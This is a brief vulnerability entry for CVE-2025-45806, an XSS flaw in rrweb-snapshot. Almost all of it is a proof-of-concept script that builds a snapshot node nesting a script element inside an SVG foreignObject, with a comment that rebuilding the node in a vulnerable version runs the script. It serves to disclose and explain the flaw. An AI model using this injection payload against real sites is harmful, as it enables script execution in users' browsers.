CVE-2025-45806: rrweb-snapshot跨站脚本漏洞

<!-- Conceptual PoC for CVE-2025-45806 This payload demonstrates how a malicious script could be injected into a snapshot structure if input validation is missing. --> <script> // Simulating a malicious snapshot node const maliciousSnapshot = { type: 'Element', tagName: 'svg', attributes: { xmlns: 'http://www.w3.org/2000/svg', width: '100', height: '100' }, childNodes: [ { type: 'Element', tagName: 'foreignObject', attributes: { width: '100%', height: '100%' }, childNodes: [ { type: 'Element', tagName: 'div', attributes: {}, childNodes: [ { type: 'Element', tagName: 'script', attributes: {}, childNodes: [ { type: 'Text', textContent: 'alert("CVE-2025-45806 XSS Triggered");' } ] } ] } ] } ] }; // In a vulnerable version of rrweb-snapshot, rebuilding this node // would execute the script inside the foreignObject. console.log('Malicious Payload Generated'); </script>